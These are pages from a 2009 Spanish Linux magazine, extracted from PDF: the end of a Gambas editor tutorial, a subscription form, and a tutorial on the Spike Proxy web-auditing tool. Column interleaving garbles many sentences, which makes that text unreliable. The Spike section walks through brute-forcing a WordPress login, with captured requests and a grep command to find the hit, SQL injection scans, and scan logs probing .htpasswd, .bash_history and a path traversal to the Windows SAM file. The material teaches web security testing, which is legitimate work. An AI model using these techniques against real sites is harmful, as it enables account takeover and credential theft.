PUBLIC SUB Form_Open( ) en nuestro txtEditorTexto, hacemos uso de
Fsplash.Center la función EOF (Ver Tabla 5), la cual determina
END si se ha llegado o no al final del archivo. Para
PUBLIC SUB Timer1_Timer( ) saber esta condición, nos valemos de la estruc-
Fsplash.Delete tura WHILE...WEND y del operador de negación
Fmain.Load NOT. Cada vez que recorramos el archivo,
Fmain.Show nos encargamos de leer una línea mediante
END la función LINE INPUT (Ver Tabla 6), la cual
nos extrae una línea del archivo y la almacena
texto almacenado en el control txtEditor- para el archivo, lo almacenamos en una varia- en la variable Linea, declarada al principio
Texto. ble declarada dentro del evento (DIM Nombre de nuestro evento. Luego, el contenido de la
El código del btnGuardarComo es similar AS String), verificamos que la ruta sea válida variable Linea la volcamos al txtEditor-
al de la creación de un nuevo archivo. Es decir, o que no exista el nombre del archivo, y por Texto, sumándole en carácter de salto de linea
le pedimos al usuario que ingrese un nombre último, si todo está correctamente ingresado, y retorno de carro, más conocido como la tecla

80 Linux+ 4/2009
programación
Curso de programación en Gambas

ENTER. De no ponerle este carácter cada vez que mos si se ha modificado el archivo evaluando el algún archivo asociado. Si ésta es diferente
finaliza una línea, veríamos todo el contenido valor de la variable ModificoArchivo, declarada de NULL, quiere decir que hay algún archivo
de nuestro archivo como una larga fila de carac- al principio del programa. De ser verdadero, le asociado a nuestro descriptor, y es por ello
teres. Para ello, se hace uso de la función Chr, el preguntamos al usuario, mediante un Message- que lo cerramos mediante la sentencia CLO-
cual se le pasa como parámetro el código ASCII Box, si antes de cerrar el archivo quiere guardar SE. Al cerrar el archivo, tenemos que restau-
(Ver Cuadro ¿Que es el código ASCII?) y retor- las modificaciones realizadas. De apretar en el rar el valor de la variable ModificoArchivo
na su equivalencia como carácter. botón SI, nos encargamos de guardar el archivo a FALSE, así se podrá volver a utilizar con
Gambas es un lenguaje de programación, invocando al método SAVE, usado anterior- los valores por defecto en otro archivo que
y como todo lenguaje, se puede traducir. Para mente. abramos.
entender mejor el recorrido de nuestro archivo, La función MessageBox, retorna valo- Una vez realizados estos cambios, res-
que mejor que traducirlo y leerlo en nuestro res para poder evaluarlos, según la posición tauramos los valores del editor y sus botones
idioma. Nuestro código de lectura de un archi- donde se encuentre el botón ubicado en el como si se hubiese iniciado nuevamente el
vo se leería de la siguiente manera: cuadro de mensaje. Como ejemplo, nuestro editor, quedando a la espera de que se abra o
Mientras que no termine el archivo (WHILE boton Sí, se encuentra en la primera posición cargue otro archivo para poder trabajar.
NOT Eof (Archivo), leer una línea del archivo (es el primer boton del MessageBox), es por Los últimos pasos para que nuestro
y guardarla en la variable 'Linea' (LINE ello que si el usuario aprieta en ese botón, editor quede funcionando se muestran en el
INPUT #Archivo, Linea). Luego, el contenido se retornará el valor 1, que será evaluado Código Fuente 7 (Listado 8). Como sabemos,
de nuestro Editor de Texto, es igual a su con- por la estructura IF... END IF. Siendo así los controles de Gambas nos proveen de
tenido anterior, sumándole la nueva línea y un que, si el usuario apretase en el botón No, la propiedades y métodos que nos facilitarán
carácter ENTER (txtEditorTexto = txtEditor- función retornaría el valor 2, ya que es ésta de muchas tareas, obviamente si elegimos
Texto + Linea + Chr(13)) la posición donde se encuentra ubicado en el el control adecuado para el trabajo que
Pasemos ahora a codificar el btnCerra- MessageBox. queremos realizar. Nosotros para la edición
rArchivo, para ello miremos el Código Fuente Acto seguido, nos encargamos de veri- del texto, elegimos el control TextArea (tx-
6 (Listado 7). Al iniciar el evento clic, verifica- ficar si en la Variable Archivo se encuentra tEditorTexto), que nos provee de muchos
métodos ya incluidos para hacer más fácil
la edición de texto. Estos métodos son Undo
(Deshacer), Redo (Rehacer), Cut (Cortar),
Copy (Copiar), Paste (Pegar), y muchos más.
Condicion
Por ello creo que no hace falta de explica-
ción adicional, ya que estos métodos reali-
Codigo si es
zan las tareas tal cual como su nombre in-
Codigo si es
Verdadero Falso dica. Podemos aclarar el funcionamiento de
solo algunos eventos.
El evento Close del FMain, se encarga de
llamar al evento Click del btnCerrarAr-
Figura 10. Creacion de un nuevo formulario que actuara como Splash chivo, ya que cuando cerramos el formu-
lario, nos tenemos que encargar de verificar
si hay algún archivo abierto, y de ser así,
que guarde sus modificaciones, tal cual
Condicion como está codificado en el evento Click del
btnCerrarArchivo. Este código, es un ade-
lanto de lo que veremos la próxima entrega
Codigo si es Codigo si es de este curso, el tema de Procedimientos
Verdadero Falso
y Funciones, que nos ahorrarán la tarea de
reescribir código de forma innecesaria. Una
vez llamado al evento, cerramos el progra-
Figura 11. Indicanmos el formulario de inicio para nuestra aplicación ma mediante la sentencia QUIT.
El botón btnBloquear, se encargará de
bloquear/desbloquear nuestro editor cada vez
que lo llamemos, es decir, cuando esté blo-
Condicion
queado no podremos modificar el texto que
se encuentra en él. Simplemente el funciona-
miento de este botón se remite en evaluar si
el editor está bloqueado o no. Si está bloquea-
Codigo si es Codigo si es
Verdadero Falso do, lo desbloqueamos, y si está desbloquea-
do, lo bloqueamos. Así, nuestro botón actúa
de una u otra forma, según el estado en que
se encuentre, expresado por la propiedad
Figura 12. Aspecto de un MessageBox en distintas librerías. Arriba QT de KDE y abajo GTK+ de GNOME ENABLED.

www.lpmagazine.org 81
programación
Curso de programación en Gambas

las propiedades de nuestro control Timer se- Ejercicios Propuestos


Sobre el autor rán las siguientes: En esta sección se le deja al lector unos ejer-
cicios para poder ir practicando con Gam-
Jorge Emanuel Capurro es estudiante de • Enabled = True, bas:
la Tec. Superior en Programación, carrera • Delay = 5000.
dictada en la Universidad Tecnológica • Crear una aplicación que me muestre el
Nacional – Facultad Regional Haedo, pro- En el evento Timer de nuestro control, escri- contenido de un archivo introducido por
vincia de Buenos Aires, Argentina. Prin- bimos el Código Fuente 8 (Listado 9), que nos InputBox, pero que no me permita modi-
cipalmente, su área de investigación se muestra el código resultante de nuestro FS- ficarlo.
centra en los Sistemas Operativos de tipo plash. Este código, en primera instancia, cuan- • Crear en la aplicación Editor de Texto,
UNIX y de la programación bajo esta pla- do se cumplen los 5 segundos asignados en el tres botones laterales que contengan los
taforma. Es el creador del proyecto IDEas Timer, se encarga de eliminar el formulario de nombres de tres colores diferentes, y que
(http://ideasc.sourceforge.net), que es el Splash (FSplash.Delete), cargar el formulario al seleccionar un color, se aplique al tex-
primer frontend desarrollado bajo Gambas FMain en la memoria (FMain.Load), y luego to contenido en txtEditorTexto. Pista:
del compilador gcc (http://gcc.gnu.org), que mostrarlo en la pantalla (FMain.Show). Investigar la propiedad ForeGround y la
se utiliza con fines didácticos. Actualmen- Por último, lo que nos falta en indicarle función Color.
te se desempeña como programador para a Gambas que nuestro primer formulario a ini- • Agregar 2 botones a la barra de herra-
la empresa IBM Argentina en el departa- ciar va a ser el FSplash, y no el FMain como lo mientas que me permitan seleccionar/
mento de Applications Management Ser- hacíamos anteriormente. Para ello, nos dirigi- desseleccionar todo el texto de txtEdi-
vices, participando de diversos proyectos mos al explorador de proyectos, y hacemos clic torTexto. Pista: Investigar sus métodos.
de desarrollo de software de carácter derecho sobre el formulario FSplash, y elegi- • Modificar el FSplash para que me apa-
internacional. mos la opcion Clase de Inicio (Ver Figura 11). rezca el nombre de usuario cuando eje-
¡Listo! Ya podemos probar nuestra aplicación, cuto el programa. Pista: Ver la anterior
Creando un Splash verificando que todo funcione correctamente. entrega del curso.
para nuestra aplicación Recuerda que también puedes empaquetarla • Modificar el editor de texto para que,
Un formulario del tipo Splash, es aquel que y crearle un instalador para distribuirla entre cuando un documento esté abierto y to-
se utiliza a modo de presentación de nuestro tus amigos, tal cual como lo vimos la entrega davía no se le hayan realizado modifica-
programa. Para crearlo, necesitamos agregar un anterior de este curso. ciones, el botón de Guardar esté deshabi-
nuevo formulario en la pantalla. Nos dirigimos litado. Solo es válido para un documento
a la barra de exploración de proyecto, y hace- ¿QT o GTK+? ya existente, no uno que se recién creó.
mos click derecho sobre la carpeta Formula- Como mencioné en la primera entrega del cur- Pista: Explorar el código fuente del editor
rios. Nos dirigimos a Nuevo -> Formulario, tal so, Gambas permite cambiar entre QT (KDE) de texto.
cual como lo muestra la Figura 10. Gambas nos o GTK+ (GNOME) sin modificar una sola línea
pedirá que ingresemos un nombre para él. Lo de código. Para poder aprovechar esta funcio- Conclusiones
llamamos FSplash. Para darle una verdadera nalidad, nos dirigimos al menú Proyecto –> En esta segunda entrega del Curso de Gam-
estética de formulario Splash, le asignamos las Propiedades, y luego a la pestaña Componen- bas, hemos recorrido todas las estructuras
siguientes propiedades: tes. Aquí es en donde erigiremos las librerías necesarias del lenguaje BASIC para poder
que queramos que nuestra aplicación utilice. realizar aplicaciones profesionales bajo Gam-
• Border = Fixed, Uno de los componentes más interesantes es el bas. También, hemos visto lo sencillo que
• SkipTaskBar = True. componente gb.gui. El componente gb.gui, es manipular archivos de texto en Gambas,
que es el encargado de hacer que nuestra apli- simplemente utilizando un par de funciones.
La propiedad SkipTaskBar, nos indica si el cación sea totalmente multiescritorio, ya que se En la próxima entrega del curso, veremos
formulario aparecerá o no en la barra de apli- encarga de detectar qué entorno estamos usando cómo modularizar el código fuente mediante
caciones de nuestro GNU/Linux. Como es (KDE o GNOME), y cargar las librerías nece- Procedimientos y Funciones para que esto no
un formulario que no se podrá minimizar, le sarias en tiempo de ejecución. Este componen- suceda, además de otras características inte-
asignamos el valor TRUE. La propiedad Bor- te es esencial a la hora de realizar aplicaciones resantes que hacen de Gambas un excelente
der -como su nombre lo indica- le asignará multiescritorio. Pero supongamos que en esta lenguaje de programación.
un borde distinto al formulario. Por último, ocasión queremos que nuestra aplicación so- Se recomienda al lector repasar y tratar de
dentro del evento Open de nuestro FSplash, lamente tenga el aspecto de la librería QT. Para entender cómo está verdaderamente trabajan-
invocamos al método Center del mismo, ello, desmarcamos de la lista el componente do el código fuente que nosotros escribimos,
para que nos centre el formulario en nuestra gb.gui y marcamos el componente correspon- con el motivo de poder comprenderlo mejor.
pantalla. diente, en nuestro caso el gb.qt. Al contrario, si No tenga miedo, estúdielo, modifíquelo y eje-
Este formulario mostrará la información queremos que nuestra aplicación se ejecute con cútelo las veces que sea necesario. Esto le
de nuestro programa unos segundos, y luego las librerías GTK+, marcamos el componente ayudará a aprender más y mejor. No olvides
invocará al editor de texto. Para ello, nos va- gb.gtk. Como es obvio, las librerías gb.gtk que puedes dejar tus comentarios, dudas
lemos del ya conocido control Timer. Le asig- y gb.qt no son compatibles entre si, para ello se o consultas a jorge.capurro@linuxmail.org.
naremos a éste la tarea de que, cuando pasen utiliza el gb.gui. ¿Sencillo, verdad? La Figura Espero que les haya sido de agrado este en-
5 segundos, cierre el formulario de Splash, 12 nos muestra la ejecución de un MessageBox, trega y nos vemos en la próxima entrega del
e invoque al formulario principal. Entonces, dependiendo de la librería que se utilice. Curso ¡Hasta Pronto!

82 Linux+ 4/2009
Pedido de suscripción

Por favor, rellena este cupón y mándalo por fax: 0048 22 244 24 59 o por correo: Software-Wydawnictwo Sp. z o. o.,
Bokserska 1, 02-682 Varsovia, Polonia; e-mail: suscripcion@software.com.pl

Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................

Dirección ..............................................................................................................................................................................................................................

C.P. .............................................................................................................. Población ....................................................................................................

Teléfono ..................................................................................................... Fax ...............................................................................................................

Suscripción a partir del No ...................................................................................................................................................................................................

e-mail (para poder recibir la factura) ..................................................................................................................................................................................

o Renovación automática de la suscripción

Título
número de
a partir
ejemplares número de Precio
del número
al año

Linux+DVD (1 DVD)
12 69 €
Mensual con dos DVDs dedicado a Linux

En total

Realizo el pago con:


□ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO CVC Code
Válida hasta
□ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO
Número de la cuenta bancaria: 0049-1555-11-221-0160876
IBAN: ES33 0049 1555 1122 1016 0876
código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:
práctica
Spike Proxy

Spike Proxy
David Álvarez García
Spike Proxy forma parte de la suite SPIKE, un proxy para el
protocolo Http / Https de código abierto usado para analizar las
aplicaciones web que nos interesen y su comunicación con los
clientes (navegadores); aplicación muy útil para desarrolladores
y para entusiastas de la seguridad.

U
n programa muy similar a Spike Proxy en dedicarle unas líneas a esta herramienta comentando sus ca-
linux@software.com.pl

Windows es el popular Odysseus. Este proxy racterísticas y funcionamiento. Toda su administración está
puede correr en local o bien servir a otros hosts basada en entorno web, al dejar spike arrancado, configurar
de la red, pero no es un software dedicado a el navegador y dirigirse con él a la dirección http://spike,
ofrecer comunicaciones http a determinados hosts, entre otras se podrá acceder a dicho panel y empezar a auditar el tráfico
cosas, porque carece del 99% de las opciones que un proxy de los clientes que estén usando nuestro ordenador como
web decente debería tener para esa finalidad. Su objetivo proxy para navegar, por norma será el mismo ordenador
prioritario es el análisis de las páginas webs; se encarga de que tiene el proxy instalado, es decir en local, recordemos
estudiar el tráfico Http / https generado entre un navegador que su uso está orientado a estudiar el tráfico y no a ofrecer
y una determinada web. Todas las peticiones y respuestas servicio de proxy web.
pasan por él. La funcionalidad que hace interesante a esta
herramienta es que permite repetir y editar solicitudes ya Descarga
realizadas, algo sin duda muy útil para los programadores e instalación de Spike Proxy
web. Como extra, Spike ofrece la posibilidad de hacer algu- Se puede descargar Spike Proxy de la siguiente dirección:
nos test de seguridad como inyecciones Sql, Xss, overflow, http://www.immunitysec.com/resources-freesoftware.shtml.
directorios transversales y alguna otra cosa relacionada con No requiere compilación / instalación, sólo hay que des-
vulnerabilidades, pero sin duda tenemos mejores herramien- comprimir el fichero .tgz, entrar en la carpeta y ejecutar el
tas orientadas a ese fin para GNU/Linux. script spkproxy.py:

Primros pasos con Spike $ tar -zxvf SP148.tgz


Spike está escrito en Python y su documentación, por sor- $ cd spkproxy/
prendente que parezca, es inexistente, razón de más para $ ./spkproxy.py

84 Linux+ 4/2009
práctica
Spike Proxy

Una vez arrancada la aplicación, nos dirigimos Listado 1. Pulsando sobre Request Cache en el menú de administración
a nuestro navegador y le indicamos que se dirija
a la url http://spike para empezar a ver cómo * Request: POST25682954217020HTTPA1.1200491756_www.dominio.com
funciona el panel de administración, que no es Print Request Info, rewrite request, Display Response,
más que un un html con varios frames como crawl, argscan, dirscan, overflow VulnXML Tests
vemos en la Figura 1: * Request: GET256829542HTTPA1.1200468816_www.dominio2.com
Print Request Info, rewrite request, Display Response,
• Frame inferior: Muestra el log, es don- crawl, argscan, dirscan, overflow VulnXML Tests
de veremos los resultados de ciertos * Request: GET188229542HTTPA1.1404436566_www.dominio3.com
ataques y acciones que realicemos con Print Request Info, rewrite request,
Spike. Display Response, crawl, argscan,
• Frame central: Muestra una base de datos dirscan, overflow VulnXML Tests
ordenada por dominios con las comunica-
ciones capturadas desde que arrancamos Listado 2. Ejemplo del comando Print Request Info
por primera vez la aplicación, esto nos
permite poder trabajar sobre ellas en Site: www.dominio.com

cualquier momento. Port: 80

• Frame superior: Número de versión del SSL: No

Proxy. POST /wp-login.php HTTP/1.1

• Frame izquierdo: Es el menú de admi- Host: www.dominio.com

nistración, en él seleccionamos lo que User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob)

queremos hacer. Las opciones que tiene Accept:

son las siguientes: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/

– Request cache: Muestra las solicitu- plain;q=0.8,image/png,*/*;q=0.5

des / respuestas realizadas desde que Accept-Language: en-us,en;q=0.5

se arrancó el proxy Accept-Encoding: gzip,deflate

– Help: Ofrece al usuario una pequeña Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

ayuda sobre el uso del panel, no dice Keep-Alive: 300

nada que no vayamos a contar. Connection: keep-alive

– Stop All Actions: Si estamos realizan- Referer: http://www.dominio.com/wp-login.php

do algún escaneo de vulnerabilidades, Cookie: comment_author_email_442228cc19b60238770c826d73335fa1=MAIL%40ma

lo para. il.com; subscribe_checkbox_442228cc19b60238770c826d73335fa1=unchecked;

– Allow actions again: Vuelve a per- comment_author_442228cc19b60238770c826d73335fa1=NOMBRE

mitir la realización de exploraciones Content-Type: application/x-www-form-urlencoded

de seguridad después de parar alguna Content-Length: 93

actividad. log=Administrador&pwd=Contrase

– Configure SPIKE Proxy: Permite %C3%B1aAdminitrador&submit=

configurar determinados parámetros Login+%C2%BB&redirect_to=wp-admin%2F

de la configuración.

Configuración
del navegador
Las solicitudes idénticas no se guardan para
no repetir información inútilmente. Vamos
a ver ahora cómo configurar el navegador
y cómo usar la opción que más nos interesa
de Spike, la de poder analizar y experimentar
con las conexiones http que realicemos.
Configurar Mozilla Firefox para usar Spike
Proxy:

• Arrancamos Firefox,
• Nos dirigimos a Editar –> Preferencias –>
Avanzado –> Configurar conexión a In-
ternet,
• Activamos Configuración Manual del
proxy,
• En Proxy HTTP usamos la IP 127.0.0.1
y el puerto 8080. Figura 1. Panel de administración de Spike

www.lpmagazine.org 85
práctica
Spike Proxy

Analizando nuevo la solicitud, pero variando alguno Como se aprecia, la variable pwd va cam-
el tráfico HTTP / HTTPS o todos parámetros (Navegador, Url, Post, biando de valor, que es lo que nosotros quería-
Al pulsar sobre Request Cache en el menú de Get, Encoding,Cookie,...). Estos formula- mos. El valor de las variables las saca de los
administración podremos ver una salida pareci- rios de Rewrite request están divididos en diccionarios que encontramos en el directorio
da a la que está presentada en el Listado 1. secciones: de spike (allwords, words y passchecklist).
Cada línea es una solicitud a un sitio http – 1ª Parte: Objetivo (Listado 3). Pero este ataque debemos saber que no es muy
realizada por el proxy, ésta incluye también su – 2ª Parte: Cabeceras Http (Listado 4). fiable, ya que tal y como trabaja este proxy,
respuesta como veremos a continuación. Los – 3ª Parte: URL Args (Variables pasadas puede encontrar la clave correcta para un de-
campos son los siguientes: mediante GET). En nuestro ejemplo terminado usuario y que no se reporte como
propuesto, el método usado para en- encontrada.
• Print Request Info: Muestra la solicitud del viar variables era POST, por eso en la Para asegurarnos que la fuerza bruta
cliente en texto plano, veamos un ejemplo imagen no se ve nada en esos formu- funciona correctamente en nuestra página de
en el Listado 2. larios de la sección URL Args. autenticación y no ofrecerá falsos positivos,
• Rewrite request: Ésta es una de las opcio- – 4ª Parte: Body Args (Variables pasadas podemos añadir la clave auténtica en algu-
nes más interesantes, al pulsar sobre ella mediante POST) (Listado 5). nos de los ficheros como prueba de concepto
se visualizan un buen número de formu- y estudiar qué sucede. Lo mejor sería fijarse
larios con todo el contenido de la solicitud Si queremos usar una de las variables para en la salida de la consola al ejecutar spike,
anteriormente visualizada en Print Request realizar inyecciones, usaremos la opción In- prestar atención a qué es lo que muestra cuan-
Info. Esto nos permite editar y reenviar de jectionscan que encontramos en la sección do acierta la clave, qué es lo que nos dice la
de Request Cache. respuesta del server, ver en qué difiere con las
Si queremos realizar fuerza bruta contra demás respuestas fallidas y así poder filtrarla.
una variable de las que vemos en los for- Por defecto usa el fichero allwords. Veamos
mularios de rewrite request, por norma la un ejemplo de acierto de contraseña en wor-
encargada de enviar la contraseña o el usua- dpress, todo en la consola donde tenemos el
rio, usaremos la opción password. Al ejecutar proxy arrancado (Listado 7).
los ataques se puede visualizar en la terminal Spike no avisará que se descubrió la
donde está arrancado spike Proxy, los paque- contraseña (mipassword) aunque en este caso
tes que estamos enviando al servidor y sus la haya acertado, pero si en consola filtramos
respuestas en tiempo real. Si nos fijamos en con grep de forma simple, una vez tengamos
las solicitudes mientras realizamos el ataque identificada la respuesta del server web al in-
de fuerza bruta, veremos líneas como las pre- troducrir la contraseña correcta, podremos ver
sentadas en el Listado 6. si nuestro ataque de fuerza bruta resulto exitoso

Listado 3. Objetivo, primera parte del formulario de Rewrite request

Verb: Post
ConnectHost: www.dominio.com
ConnectPort: 80
URL: /wp-login.php
SSL:

Listado 4. Cabeceras Http, segunda parte del formulario de Rewrite request

Host: www.dominio.com
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Keep-Alive: 300
...
Content-Type: application/x-www-form-urlencoded

Listado 5. Body Args, cuarta parte del formulario de Rewrite request

pwd=Contrase%C3%B1aAdminitrador
log=Administrador
submit=Login+%C2%BB
redirect_to=wp-admin%2F
BodyArg0: pwd: ContraseñaAdministrador
Entry Actions: INJECTIONSCAN PASSWORD

Figura 2. Formularios de Rewrite request

86 Linux+ 4/2009
práctica
Spike Proxy

o no. Para el CMS wordpress podríamos usar el


siguiente comando, basado en la salida mostra-
da anteriormente:

$ ./spkproxy.py | grep -i --before=30


"wp-admin/" | grep -i "pwd="
log=admin&pwd=mipassword&wp-submit=
Iniciar+Sesi%C3%B3n&redirect_to=
wp-admin%2F&testcookie=1

Como vemos, aunque Spike no reporte como


correcta la contraseña, nosotros podemos in-
tervenir y usar la salida que muestra el proxy
en consola para encontrarla. La otra opción
que se nos muestra al lado de password, es la
opción injectionscan, que realiza ataques de
inyecciones sql con esa variable y desde luego,
como en el caso anterior de fuerza bruta, sus
resultados no son muy fiables. Habiendo expli- Figura 3. Las solicitudes que muestra la consola cuando usamos la opción Overflow

Listado 6. Realizando el ataque de fuerza bruta cado anteriormente la parte más importante de
Spike, pasemos a comentar las otras opciones
log=Administrador&pwd=NR&submit= que nos ofrece.
Login+%C2%BB&redirect_to=wp-admin%2F
log=Administrador&pwd=BizTalkTracking&submit= Buscando Bugs
Login+%C2%BB&redirect_to=wp-admin%2F de seguridad en una
log=Administrador&pwd=Printers&submit= determinada aplicación Web
Login+%C2%BB&redirect_to=wp-admin%2F Volvemos a la parte de Request Cache y vere-
log=Administrador&pwd=PBSData&submit= mos en qué consisten las opciones restantes:
Login+%C2%BB&redirect_to=wp-admin%2F Display Response, crawl, argscan, dirscan,
... overflow VulnXML Tests.

Listado 7. Un ejemplo de acierto de contraseña en Wordpress Display Response


Muestra la respuesta generada por el servidor.
Trying to connect to www.dominio.com:80
Si vemos caracteres extraños, es que la res-
Sent request:
puesta del servidor está comprimida en gzip,
POST /wp-login.php HTTP/1.1
por desgracia no lo descomprime para poder
Host: www.dominio.com
visualizar el código html. De todas maneras po-
...
demos usar la opción Rewrite request y borrar
log=admin&pwd=mipassword&wp-submit=
la flag que indica el uso de gzip.
Iniciar+Sesi%C3%B3n&redirect_to=wp-admin%2F&testcookie=1
Response Header:
Crawl
...
Intenta sacar el árbol de los directorios y fiche-
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
ros accesibles en la web, esto lo hace usando
Set-Cookie: wordpress_07dbbf9c90dda5f33116b13fba6ac48e=admin%7C12331064s3%
y siguiendo los links del sitio web.
7C6b7414113afef8162e9ddadb11b98b24; path=/
Location: wp-admin/
Argscan
Content-Length: 0
Cuando estemos utilizando peticiones con va-
Connection: close
riables (GET / POST), podremos usarlas para
Content-Type: text/html; charset=UTF-8
realizar pruebas de Inyecciones Sql con ellas.

Listado 8. Un ejemplo del reporte mostrado por dirscan


Dirscan
log: [Mon Jan 19 16:15:07 2001] : Done with directory scan on / Esta opción realiza un buen número de solici-
www.dominio.com_80_0/...886_www.dominio.com tudes al servidor en busca de determinados fi-
Log: [Mon Jan 19 16:14:17 2001] : Found directory! */footer.pl/* cheros y directorios que puedan ser inseguros
Log: [Mon Jan 19 16:14:16 2001] : Found directory! */header.pl/* o explotables (/admin, global.asa,..). Esta op-
Log: [Mon Jan 19 16:14:14 2001] : Found directory! */.htpasswd/* ción se basa para encontrar los ficheros, en los
Log: [Mon Jan 19 16:14:05 2001] : Starting directory scan on tipos de error que devuelve un servidor http
cuando se le solicita un archivo que no alberga

www.lpmagazine.org 87
práctica
Spike Proxy

o no es accesible. Al haber variedad en los tipos usamos esta opción. Veamos un ejemplo del dirscan realmente tiene un funcionamiento
de respuestas que un servidor puede enviar para reporte mostrado por dirscan (Listado 8). tan pésimo que no es nada fiable y no se reco-
reportar un tipo de solicitud fallida, podemos NOTA: En nuestro caso, los tres ficheros mienda su uso.
encontrarnos con varios falsos positivos si reportados son falsos positivos. La opción
Overflow
Listado 9. Buscando ficheros comprometidos Como su propio nombre indica, esta opción
usa variables de gran tamaño para testear la
# Petición de Spike: aplicación web. Para poder usar esta opción
Trying to connect to www.dominio.com:80 debemos dirigirnos a una solicitud http que in-
Sent request: cluya variables, ya sea usando el método GET
GET /.bash_history HTTP/1.1 o POST. Veamos una imagen de las solicitudes
Host: www.dominio.com que muestra la consola cuando usamos dicha
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob) opción (Figura 3).
Accept: text/xml,application/xml,
application/xhtml+xml,text/html;q=0.9, VulnXML Tests
text/plain;q=0.8,image/png,*/*;q=0.5 Intenta explotar un conjunto de vulnerabili-
Accept-Language: en-us,en;q=0.5 dades conocidas (Whisker/Nikto) usando una
Accept-Encoding: gzip,deflate base de datos con un sinfín de ataques cono-
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 cidos y preparados para ser lanzados.
Keep-Alive: 300
Connection: keep-alive ¿Falsos positivos?
Cookie: lang=spanish El proxy Spike es propenso a falsos positivos
# Respuesta servidor: cuando usamos sus funcionalidades de testeos
Response Header: de seguridad, que como sabemos tampoco es
HTTP/1.1 302 Found su punto fuerte. Por eso se deben interpretar
Date: Mon, 19 Jan 2009 15:54:00 GMT sus resultados como suma cautela, el proxy
Server: Apache basa el éxito de sus tests realizados en los
Location: http://www.dominio.com/error.php mensajes http que devuelve el servidor (có-
Content-Length: 223 digos de estado) y ese es el problema, porque
Keep-Alive: timeout=3, max=1000 las respuestas frente a una misma solicitud
Connection: Keep-Alive fallida pueden depender del CMS usado y su
Content-Type: text/html; charset=iso-8859-1 configuración.
Códigos de estado de Http los podréis
Listado 10. VulnXML Tests encontrar aquí: http://es.wikipedia.org/wiki/
Anexo:C%C3%B3digos_de_estado_HTTP.
[01/Feb/2009:19:52:53 +0100]
Para explicar el por qué de estos falsos
"GET /scripts/tools/getdrvrs.exe HTTP/1.0" 404 224
positivos con un ejemplo, veamos un frag-
[01/Feb/2009:19:52:53 +0100]
mento de la conversación entre nuestro proxy
"GET /scripts/tools/newdsn.exe HTTP/1.0" 404 222
y la aplicación web a la que intentamos es-
[01/Feb/2009:19:52:53 +0100]
canear en busca de ficheros comprometidos
"GET /scripts/Carello/Carello.dll HTTP/1.0" 404 225
(Listado 9).
[01/Feb/2009:19:52:53 +0100]
El proxy ha solicitado el fichero .bash_
"GET /..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam
history como se ve en el ejemplo, ese archi-
HTTP/1.0" 404 232
vo no está realmente alojado en el servidor,
[01/Feb/2009:19:52:54 +0100]
pero el proxy lo da por encontrado. Como
"GET /scripts/iisadmin/bdir.htr HTTP/1.0" 404 223
vemos, es otro falso positivo. Esto se debe
[01/Feb/2009:19:52:54 +0100]
a que la contestación del sistema web testeado
"GET /scripts/samples/search/author.idq HTTP/1.0" 404 231
ha sido un HTTP/1.1 302 Found, que equivale
[01/Feb/2009:19:52:54 +0100]
a una redirección. Si el mensaje fuera 404 no
"GET /scripts/samples/search/filesize.idq HTTP/1.0" 404 233
tomaría esa respuesta como válida.
[01/Feb/2009:19:52:55 +0100]
El que ciertas páginas web respondan con
"GET /scripts/samples/search/filetime.idq HTTP/1.0" 404 233
un mensaje 302 a la solicitud de un fichero
[01/Feb/2009:19:52:55 +0100]
inesistente es algo muy habitual cuando quere-
"GET /scripts/samples/search/queryhit.idq HTTP/1.0" 404 233
mos redirigir todas las solicitudes erroneas a un
[01/Feb/2009:19:52:55 +0100]
mismo documento que contenga mensaje de
"GET /scripts/samples/search/simple.idq HTTP/1.0" 404 231
error, como es nuestrocaso. En el caso de apli
[01/Feb/2009:19:52:55 +0100]
caciones web que usen dicho método de noti-
"GET /scripts/tools/ctss.idc HTTP/1.0" 404 220
ficación de documentos inexistentes, spike mos-
trará que ha encontrado el 100% de los fiche-

88 Linux+ 4/2009
práctica
Spike Proxy

Listado 11. BruteForce Password (POST)


En la red
[01/Feb/2009:20:02:21 +0100] "POST /login.php HTTP/1.1" 200 8711
[01/Feb/2009:20:02:21 +0100] "POST /login.php HTTP/1.1" 200 8711 • Página de descarga de la suite Spike:
[01/Feb/2009:20:02:21 +0100] "POST /login.php HTTP/1.1" 200 8711 http://www.immunitysec.com/
[01/Feb/2009:20:02:21 +0100] "POST /login.php HTTP/1.1" 200 8711 resources-freesoftware.shtml
• Página del proyecto Spike Proxy:
Listado 12. BruteForce Password (GET) http://www.immunitysec.com/
• Página del proyecto Odysseus:
[01/Feb/2009:20:04:35 +0100] http://www.bindshell.net/tools/
"GET /login.php?username=username&password=BBBBB HTTP/1.1" 200 8711 odysseus/
[01/Feb/2009:20:04:35 +0100] • Códigos de estado de Http:
"GET /login.php?username=username&password=12345 HTTP/1.1" 200 8711 http://es.wikipedia.org/
[01/Feb/2009:20:04:35 +0100] wiki/Anexo:C%C3%B3digos_
"GET /login.php?username=username&password=B1dfsf2q HTTP/1.1" 200 8711 de_estado_HTTP
[01/Feb/2009:20:04:35 +0100]
"GET /login.php?username=username&password=admin1234 HTTP/1.1" 200 8711

defecto NO registra las variables pasadas


Listado 13. DirScan por el método POST.
• BruteForce Password (GET) (Listado 12).
[01/Feb/2009:20:12:00 +0100] "GET /global.asa HTTP/1.1" 404 208
• DirScan (Listado 13).
[01/Feb/2009:20:12:00 +0100] "GET /ws_ftp.log HTTP/1.1" 404 208
[01/Feb/2009:20:12:00 +0100] "GET /.bash_history HTTP/1.1" 404 211
Conclusiones
[01/Feb/2009:20:12:00 +0100] "GET /.private HTTP/1.1" 404 206
Como vemos, Spike proxy es una aplicación
[01/Feb/2009:20:12:00 +0100] "GET /template.xsl HTTP/1.1" 404 210
fácil de usar y muy útil para testear proyectos
[01/Feb/2009:20:12:00 +0100] "GET /include.asp HTTP/1.1" 404 209
web, pudiendo realizar con ella un sinfin de
pruebas con el objetivo de comprobar que las
ros vulnerables que ha intentado encontrar. • VulnXML Tests (Listado 10). páginas contestan a las solicitudes como de-
